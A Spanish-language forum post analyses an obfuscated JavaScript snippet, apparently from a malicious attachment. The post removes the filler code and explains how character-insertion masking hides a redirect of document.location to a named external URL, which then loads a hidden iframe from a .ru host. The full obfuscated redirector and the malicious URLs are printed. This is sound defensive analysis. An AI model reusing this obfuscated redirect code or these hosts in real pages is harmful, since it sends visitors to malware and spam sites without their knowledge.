Intentaré realizar una pequeña disección del código (si veis que algo está mal podéis avisar para corregirlo).
Primero vamos ha formatear el código para que sea más legible:
Código Javascript
:
Ver originalfunction uK(){};
var kV='';
uK.prototype = {
f : function() {
d=4906;
var w=function(){};
var u=new Date();
var hK=function(){};
var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');
var n=new Array();
var e=function(){};
var eJ='';
t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];
this.nH=false;
eX=2280;
dF="dF";
var hN=function(){return 'hN'};
this.g=6633;
var a='';
dK="";
function x(b){
var aF=new Array();
this.q='';
var hKB=false;
var uN="";
b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;
this.qO=15083;
uR='';
var hB=new Date();
s="s";
}
var dI=46541;
gN=55114;
this.c="c";
nT="";
this.bG=false;
v ar m=new Date();
var fJ=49510;
x(t);
this.y="";
bL='';
var k=new Date();
var mE=function(){};
}
};
var l=22739;
var tL=new uK();
var p="";
tL.f();
this.kY=false;
Seguidamente, tras una lectura del código, descartamos la parte que es de relleno (para dificultar la lectura) y que no tiene utilidad alguna (a no ser que el código proporcionado esté incompleto):
Código Javascript
:
Ver originalfunction uK(){};
uK.prototype = {
f : function() {
var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');
t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];
function x(b){
b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;
}
x(t);
}
};
var tL=new uK();
tL.f();
Mucho más simple de leer, ¿verdad?
Finalmente, veamos qué hace este código:
Código Javascript
:
Ver original// crear una función vacía que sirve como constructor
function uK(){};
// Especificar propiedades del prototipo 'uK' para nuevos objetos.
// Este prototipo viene a ser como una plantilla a partir de la cual se crean
// nuevos objetos con un conjunto de valores (o propiedades) base.
// Notar que el objeto 'uK' se ha declarado anteriormente como constructor.
uK.prototype = {
f : function() {
// Definir variable h='http://lendermedia.com/images/z.htm'
// Reemplazo simple de caracteres: entre cada carácter válido se ha
// intercalado otro no válido que, mediante la función 'replace', es
// substituido por un carácter nulo ('' o la ausencia de carácter) con el
// propósito de volver a crear la dirección URL válida.
// El enmascaramiento de la dirección URL es tan simple que puede verse a simple
// vista sin necesidad de saber interpretar la expresión regular utilizada
// en la función 'replace'.
var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');
// Definir variable t="document['location']"
// Del mismo modo expuesto con anterioridad, aquí se enmascara
// el código con una simple intercalación de caracteres para ocultar una
// parte del código que, luego, es desenmascarado mediante el uso de la
// función 'replace'.
t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];
function x(b){
// Uso de la función 'replace' para recuperar el código enmascarado.
// b[href]=h; (a la variable 'h', como hemos visto anteriormente, tiene
// asignado el valor 'http://lendermedia.com/images/z.htm') por tanto:
// b['href']='http://lendermedia.com/images/z.htm';
b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;
}
// Llamada a la función 'x' pasándole como parámetro la variable 't' que,
// como hemos visto antes, tiene asignado el valor "document['location']".
// Por tanto, tras ejecutar esta función, nos quedará:
// document['location']['href']='http://lendermedia.com/images/z.htm';
x(t);
}
};
// Crear el objeto 'tL' que hereda las propiedades o parámetros del prototipo especificado para el constructor 'uK'
var tL=new uK();
// Llamada al objeto 'tL' que se encarga de ejecutar las funciones establecidas.
// Este es el punto en el que se procesa todo el código visto anteriormente
// (sin esta llamada el resto de código no hace nada.)
// Es decir que al final lo que hace es ejecutar la sentencia
// document['location']['href']='http://lendermedia.com/images/z.htm';
// para que al abrir el documento adjunto en un navegador web redirija la página a la dirección indicada.
tL.f();
Al abrir la dirección indicada hay un iframe oculto que accede a
Código:
http://zoojeans.ru:8080/index.php?pid=10
y pasados 3 segundos redirige a
No he analizado estas páginas ni sus archivos o código y por tanto no puedo decir si contienen código malicioso o intentan aprovecharse de alguna vulnerabilidad para colar malware y virus. Lo que sé es que una de ellas contiene publicidad de viagra y otras lindezas.
Lo que está claro es que es mejor no abrirlo ya que entraña un posible riesgo.